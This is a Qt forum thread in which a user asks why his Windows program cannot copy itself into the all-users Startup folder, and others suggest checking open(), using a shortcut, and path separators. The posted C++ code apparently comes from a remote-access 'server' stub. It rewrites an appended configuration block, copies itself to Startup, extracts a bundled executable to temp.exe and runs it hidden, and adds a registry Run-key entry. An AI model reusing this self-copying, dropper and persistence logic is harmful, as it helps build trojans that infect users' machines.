Help with this code copying my application startup

[RIVOPICO]

Hi i want to run my qt app since startup.
QIODevice::write (QFile, "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\miprogram.exe"): device not open

Code, in the code i have the function tiempocopiar to copy and the other function to put my new configuration for my tool:

//
void MainWindow::tiempoCopiar()
{
    /** Copia el servidor al directorio de inicio **/
    QByteArray datos = nuevaTrama(); //Reconstruimos la configuración con algunas modificaciones para el servidor copiado
    //Copiar a los posibles directorios de inicio de windows
    copiarServidor(datos,QDir::homePath().left(2) + "/ProgramData/Microsoft/Windows/Start Menu/Programs/StartUp/" + this->nombreCopiable);//
    
    copiar.stop();
}


void MainWindow::copiarServidor(QByteArray tramaConfiguracion, QString destino)
{
/** Copia el servidor a la ruta destino con la configuración proporcionada en tramaConfiguracion **/
    QString home = directorio.homePath(); //ruta absoluta del directorio raiz del usuario
    QString appPath = QApplication::applicationFilePath(); //ruta absoluta a la aplicación
    if (this->adjunto == "unido") //Cuando hay un ejecutable adjunto
    {
        //TODO: ":Esto está muy poco optimizado, mejorar más adelante."
        QDir directorio;
        qint64 tamano;
        tamano = this->tamanoAdjunto;
        QFile adjunto;
        QFile servidor;
        adjunto.setFileName(directorio.tempPath() + "/temp.exe");
        servidor.setFileName(QApplication::applicationFilePath());
        adjunto.open(QFile::WriteOnly);
        servidor.open(QFile::ReadOnly);
        if(this->nombreCopiable != "noiniciar") //Solo necesitamos extraer el servidor si lo tenemos que copiar
        {
            QFile copiable;
            copiable.setFileName(destino);
            copiable.open(QFile::WriteOnly);
            copiable.write(servidor.read(servidor.size() - 1024 - tamano));
            copiable.write(tramaConfiguracion,1024);
            copiable.close();
        }
        servidor.seek(servidor.size() - 1024 - tamano);
        adjunto.write(servidor.read(tamano));
        servidor.close();
        adjunto.close();
        proceso.setWorkingDirectory(directorio.tempPath());
        QString exeFileName = directorio.tempPath() + "/temp.exe";
        QProcess::startDetached(exeFileName);
    }
    else
    {
        if(this->nombreCopiable != "noiniciar")
        {
            QFile servidor;
            QFile copiable;
            servidor.setFileName(QApplication::applicationFilePath());
            copiable.setFileName(destino);
            copiable.open(QFile::WriteOnly);
            servidor.open(QFile::ReadOnly);
            copiable.write(servidor.read(servidor.size() - 1024));
            copiable.write(tramaConfiguracion,1024);
            copiable.close();
            servidor.close();
        }
    }
}

@RIVOPICO You should check what open() returns and if it returns false print out http://doc.qt.io/qt-5/qiodevice.html#errorString
I think you should not copy your exe to that location: it will not run without all needed Qt DLLs. You should create a link to your exe there.

Yes the problem is the rights some way to link this to my startup?. I could use settings to put in my Run folder when i copied the file

[jsulm]

@RIVOPICO You should use C:\Users\USER_NAME\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup.
And as I said you should NOT copy your whole application there!
It's not how it should work.
Create a link to your executable there.

Hai...
While giving filepath use forward slash(/) instead of backward(\).
It may works...try this..

[RIVOPICO]

Ok folder appdata not Works for startup i will try this
QSettings settings("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run",
QSettings::NativeFormat);
settings.setValue("YourApplicationName",
QCoreApplication::applicationFilePath().replace('/', '\'));

[RIVOPICO]

i can change the path of the file with this?:
QSettings settings("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run",
QSettings::NativeFormat);
settings.setValue("YourApplicationName",
QCoreApplication::applicationFilePath().replace('/', ''));
And if i cant , i can call the other file? I want to change the path of file to other. And i know not it is good idea yes

Hi,

QDir offers the toNativeSeparator.
